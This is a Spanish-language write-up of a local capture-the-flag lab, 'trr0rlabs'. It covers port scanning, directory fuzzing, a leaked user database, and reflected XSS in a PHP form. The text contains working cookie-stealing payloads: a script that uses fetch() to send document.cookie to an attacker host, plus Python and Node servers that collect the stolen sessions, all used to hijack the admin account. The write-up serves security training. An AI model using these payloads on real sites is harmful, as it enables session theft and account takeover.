Trr0rlabs BugBountyLabs (Avanzado)
Instalación
Cuando obtenemos el .zip
nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzip bugbountylabs_trr0rlabs.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
python3 bugbountylabs_trr0rlabs.py
Info:
██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███╗ ██╗████████╗██╗ ██╗ ██╗ █████╗ ██████╗ ███████╗
██╔══██╗██║ ██║██╔════╝ ██╔══██╗██╔═══██╗██║ ██║████╗ ██║╚══██╔══╝╚██╗ ██╔╝ ██║ ██╔══██╗██╔══██╗██╔════╝
██████╔╝██║ ██║██║ ███╗ ██████╔╝██║ ██║██║ ██║██╔██╗ ██║ ██║ ╚████╔╝ ██║ ███████║██████╔╝███████╗
██╔══██╗██║ ██║██║ ██║ ██╔══██╗██║ ██║██║ ██║██║╚██╗██║ ██║ ╚██╔╝ ██║ ██╔══██║██╔══██╗╚════██║
██████╔╝╚██████╔╝╚██████╔╝ ██████╔╝╚██████╔╝╚██████╔╝██║ ╚████║ ██║ ██║ ███████╗██║ ██║██████╔╝███████║
╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚══════╝╚═╝ ╚═╝╚═════╝ ╚══════╝
Fundadores
El Pingüino de Mario
Curiosidades De Hackers
Cofundadores
Zunderrub
CondorHacks
Lenam
Descargando la máquina trr0rlabs, espere por favor...
[########################################] 100%
Descarga completa.
La IP de la máquina trr0rlabs es -> 172.17.0.2
Presiona Ctrl+C para detener la máquina
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C
y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-18 09:21 CET
Nmap scan report for openredirect.dl (172.17.0.2)
Host is up (0.000033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 74:91:a6:35:97:31:ba:8b:f6:ad:a8:c8:87:76:3d:78 (ECDSA)
|_ 256 c6:01:86:62:e3:09:19:ca:d5:66:3f:fa:2d:9a:d8:91 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://trr0rlabs.bbl/
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.80 seconds
Vemos que tiene un puerto 80
, que si entramos nos lleva hacia un dominio llamado trr0rlabs.bbl
por lo que tendremos que añadirlo a nuestro archivo hosts
.
nano /etc/hosts
#Dentro del nano
<IP> trr0rlabs.bbl
Lo guardamos y ahora volvemos a entrar o recargar la pagina.
Veremos una pagina web y una cosa bastante interesante es que tenemos el rol
del user
por lo que tendremos que intentar conseguir el de admin
supongo, pero como este laboratorio se centra en el XSS
vamos a intentar realizar este tipo de inyecciones a ver que encontramos.
Si nos vamos a la seccion de Submit writeup
veremos un formulario para poder subir nuestro writeup
de alguna maquina, pero si en vez de poner el link de dicho writeup
ponemos un link hacia nuestro servidor de python3
con nuestra IP
para ver si recibimos un intento de que se descargara algo, veremos lo siguiente:
Servidor de Python3
python3 -m http.server 80
Formulario de pagina
Nombre: test
Link: http://<IP_ATTACKER>/
Y si esperamos un ratito veremos lo siguiente en el servidor de python3
.
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
172.17.0.2 - - [18/Mar/2025 09:27:02] "GET / HTTP/1.1" 200 -
Veremos que funciono, por lo que vamos a intentar obtener alguna Cookie
a ver si tenemos suerte.
cookie.js
from http.server import BaseHTTPRequestHandler, HTTPServer
class RequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("🔥 Cookie robada:", self.path)
with open("cookies.txt", "a") as file:
file.write(self.path + "\n")
self.send_response(200)
self.end_headers()
server = HTTPServer(("0.0.0.0", 8000), RequestHandler)
print("🚀 Esperando cookies...")
server.serve_forever()
Con esto lo que vamos hacer es que nos llegara la cookie
en nuestro servidor de python3
en el puerto 8000
, ahora si probamos a meter el link
con dicho archivo veremos que lo obtiene pero no obtenemos nada, por lo que seguiremos buscando.
Ahora vamos a realizar un poco de fuzzing
para ver que encontramos:
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://172.17.0.2/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,txt,html
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.htaccess.html (Status: 403) [Size: 278]
/.htaccess.php (Status: 403) [Size: 278]
/.htpasswd.php (Status: 403) [Size: 278]
/.htpasswd.txt (Status: 403) [Size: 278]
/.htaccess.txt (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/.htpasswd.html (Status: 403) [Size: 278]
/admin.php (Status: 200) [Size: 2226]
/backup (Status: 200) [Size: 952]
/css (Status: 200) [Size: 932]
/db (Status: 200) [Size: 931]
/form.php (Status: 200) [Size: 2603]
/img (Status: 200) [Size: 938]
/index.php (Status: 200) [Size: 2721]
/javascript (Status: 403) [Size: 278]
/js (Status: 200) [Size: 1128]
/logout.php (Status: 200) [Size: 2226]
/machines.php (Status: 200) [Size: 1581]
/server-status (Status: 403) [Size: 278]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Vemos varias cosas interesantes, entre ellas el directorio backup
y db
, si entramos en ellos veremos lo siguiente:
backup
backup.tar.gz
db
users.db
Vamos primero a ver el archivo users.db
.
Sqlite3
sqlite3 users.db
Dentro de este entorno, listaremos las tablas:
.tables
Info:
users
Ahora veremos todo lo que contiene la tabla users
.
SELECT * FROM users;
Info:
1|admin|$2y$10$4pwMP0yqf5zVtIbkkoVypuakeY3Mq3ielHgJjw.rKYgu5nWs7Iv62
Veremos que hay un usuario llamado admin
junto con su contraseña hasheada
.
Pero veremos que no se puede crackear
si nos descomprimimos el archivo .tar.gz
veremos lo siguiente:
tar -xzf backup.tar.gz
Y veremos que hay una carpeta llamada trr0rlabs.bbl
que contendra la pagina entera de trr0rlabs
por lo que vamos a investigarlo.
Si vamos al siguiente archivo llamado form.php
veremos lo siguiente:
<?php
session_start();
if (!isset($_SESSION["role"])) {
$_SESSION["role"] = "user";
}
$username = $link = "";
$username_err = $link_err = "";
$msg_suc = "";
if (isset($_GET["send_link"])) {
if (!empty($_GET["username"])){
$username = $_GET["username"];
} else {
$username_err = "<p class='error'>Debes de introducir el <span class='strong'>nombre de usuari>
}
if (!empty($_GET["link"])) {
$link = $_GET["link"];
} else {
$link_err = "<p class='error'>Debes de introducir el <span class='strong'>link del writeup</sp>
}
if (!empty($username) && !empty($link)) {
$file = fopen("trr0rlabs_writeups.txt", "wb");
fwrite($file, "$username;$link\n");
fclose($file);
$msg_suc = "<p class='success'>Writeup enviando correctamente en unos instantes lo revisará el>
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- Evitar que desaparezcan los estilos cuando se acontece el XSS (Cross Site Scripting) -->
<base href="http://trr0rlabs.bbl">
<link rel="shortcut icon" href="img/favicon.ico" type="image/x-icon">
<link rel="stylesheet" href="./css/style.css">
<title>trr0rlabs</title>
</head>
<body>
<!-- Barra de navegación -->
<header>
<h1 id="titulo" class="red"><a href="index.php">trr0rlabs</a></h1>
<h2 id="role">Rol actual: <span class="red"><?php echo $_SESSION["role"]; ?></span></h2>
<nav>
<ul>
<li><a href="index.php">Home</a></li>
<li><a href="machines.php">Machines</a></li>
<li><a href="form.php">Submit writeup</a></li>
<li><a href="admin.php">Admin</a></li>
<?php echo $_SESSION['role'] == "admin" ? '<li><a href="logout.php">Logout</a></li>' :>
</ul>
</nav>
</header>
<!-- Main -->
<main id="main_div">
<section>
<article>
<h1>¡ Sube tu Writeup !</h1>
<p>Anímate y sube tu writeup a <span class="red">trr0rlabs</span>, tan solo tienes que>
<span class="strong">administrador</span> para evitar cualquier problema.
</p>
</article>
<article id="form_div">
<h1>Rellena tus datos</h1>
<form method="GET" action="<?php echo $_SERVER["PHP_SELF"]; ?>">
<label for="username">Nombre: </label>
<br>
<input id="username" type="text" name="username" placeholder="Introduce tu nom>
<br>
<label for="link">Writeup Link: </label>
<br>
<input id="last_field" type="text" name="link" placeholder="Introduce el link >
<div id="div_msg">
<?php echo $username_err; ?>
<?php echo $link_err; ?>
<?php echo $msg_suc; ?>
</div>
<input type="submit" value="Enviar" name="send_link">
</form>
</article>
</section>
</main>
<!-- Fotter -->
<footer>
<p>Web designed by <span class="red"><a href="https://trr0r.github.io/" target="_blank">trr0r<>
</footer>
</body>
</html>
Vemos que en la siguiente linea es vulnerable a un XSS
ya que no esta sanitizando la entrada:
<form method="GET" action="<?php echo $_SERVER["PHP_SELF"]; ?>">
Si probamos a poner esto en la URL
de esta forma:
URL = http://trr0rlabs.bbl/form.php/"><script>alert('XSS')</script>
Veremos lo siguiente en la pagina.

Vemos que esta funcionando y se nos esta ejecutando un XSS
ahora nuestro objetivo es obtener la Cookie
del usuario admin
o por lo menos intentarlo.
cookie.js (Modificado)
// Obtener las cookies
const cookies = document.cookie;
// Enviar las cookies a tu servidor
fetch('http://<IP_ATTACKER>:8000/receive_cookie?cookie=' + encodeURIComponent(cookies))
.then(response => response.text())
.then(data => console.log("Cookies enviadas:", data))
.catch(error => console.error("Error al enviar cookies:", error));
PARA QUE EL SERVIDOR OBTENGA EL ARCHIVO
python3 -m http.server 80
PARA RECIBIR COOKIE
python3 -m http.server 8000
Si nosotros metemos este payload
para importar un archivo de forma externa de nuestra IP
atacante del archivo creado anteriormente:
URL = trr0rlabs.bbl/form.php/"><img src/onerror=import("http:<IP_ATTACKER>/cookie.js")>
Si vamos a la consola veremos que nos lo esta bloqueando por el Origin
ya que la cabecera de origen nos lo esta bloqueando:
Por lo que vamos a crear un servidor de Node.js
para realizar un bypass
de esta cabecera y que asi nos funcione para robar la Cookie
Antes vamos a instalar algunas dependencias que vamos a necesitar.
npm install express cors
Ahora vamos a utilizar el mismo archivo cookie.js
y vamos a establecerlo en la raiz del servidor Node.js
.
npm init -y
Info:
Wrote to /home/d1se0/Desktop/package.json:
{
"name": "desktop",
"version": "1.0.0",
"description": "",
"main": "cookie.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"keywords": [],
"author": "",
"license": "ISC"
}
Ahora vamos a crear el archivo llamado server.js
para que desde la pagina acceda a dicho servidor y directamente inyecte en la cabecera el Origin
de nuestro servidor y pueda cargar el archivo sin ningun problema.
server.js
const express = require('express');
const cors = require('cors');
const path = require('path');
const fs = require('fs'); // Asegúrate de importar 'fs'
const app = express();
// Habilitar CORS para todas las solicitudes
app.use(cors());
// Servir el archivo cookie.js
app.get('/cookie.js', (req, res) => {
res.sendFile(path.join(__dirname, 'cookie.js'));
});
// Endpoint para recibir las cookies
app.get('/receive_cookie', (req, res) => {
const cookie = req.query.cookie;
if (cookie) {
console.log("Cookie recibida: " + cookie);
fs.appendFile('cookies.txt', cookie + '\n', err => {
if (err) throw err;
console.log('Cookie guardada');
});
res.send('Cookie recibida');
} else {
res.send('No cookie');
}
});
// Iniciar el servidor en el puerto 8000
app.listen(8000, () => {
console.log('Servidor Node.js corriendo en http://localhost:8000');
});
Ahora vamos a iniciar el servidor con node
de la siguiente forma:
node server.js
Si nos vamos a la URL
tendremos que poner lo mismo de antes, como en el principio de la siguiente forma:
URL = trr0rlabs.bbl/form.php/"><img src/onerror=import("http:<IP_ATTACKER>:8000/cookie.js")>
En la consola de la pagina veremos que ha funcionado:

Y si volvemos a donde tenemos lanzado el servidor de Node.js
veremos lo siguiente:
Servidor Node.js corriendo en http://localhost:8000
Cookie recibida: PHPSESSID=8b38v6l7en8o6uasc4c281gi6p
Cookie guardada
Vemos que lo capturo de forma correcta, pero sera la de nuestro usuario
para obtener la del admin
vamos a enviar en el campo de link
de enviar el writeup
el siguiente link:
http://trr0rlabs.bbl/form.php/"><img src/onerror=import("http:<IP_ATTACKER>:8000/cookie.js")>

Ahora si esperamos un poco veremos que nos llega la Cookie
del usuario admin
.
Servidor Node.js corriendo en http://localhost:8000
Cookie recibida: PHPSESSID=ch5tusd7c1p83i5f1s38nps6k6
Cookie guardada
Vemos que ha funcionado y ahora solo tendremos que inspeccionar
la pagina, irnos a Storage
y en la parte de Cookie
reemplazaremos la que tenemos actualmente por la del admin
:

Con esto veremos que somos el rol
admin
y si nos vamos a la pestaña de admin
veremos que lo hemos conseguido:

Vemos que las credenciales para el SSH
aparecen ahi, pero no funciona la contraseña, si metemos por delante la palabra trr0rson
veremos que funciona por lo que las credenciales serian las siguientes:
User: admin
Pass: trr0radmiñç
SSH
ssh admin@<IP>
Metemos como contraseña trr0radmiñç
y veremos que estamos dentro, seguidamente se nos mostrara la flag
.
admin@172.17.0.2's password:
Permission denied, please try again.
admin@172.17.0.2's password:
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.11.2-amd64 x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Last login: Sun Feb 2 11:05:06 2025 from 172.17.0.1
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.
4e2126c3a869842968d00c163e0a2749
admin@74cc92267962:~$ whoami
admin
flag
4e2126c3a869842968d00c163e0a2749
Por lo que habremos terminado la maquina pudiendo haber explotado la vulnerabilidad XSS
de un robo de Cookie
.
Last updated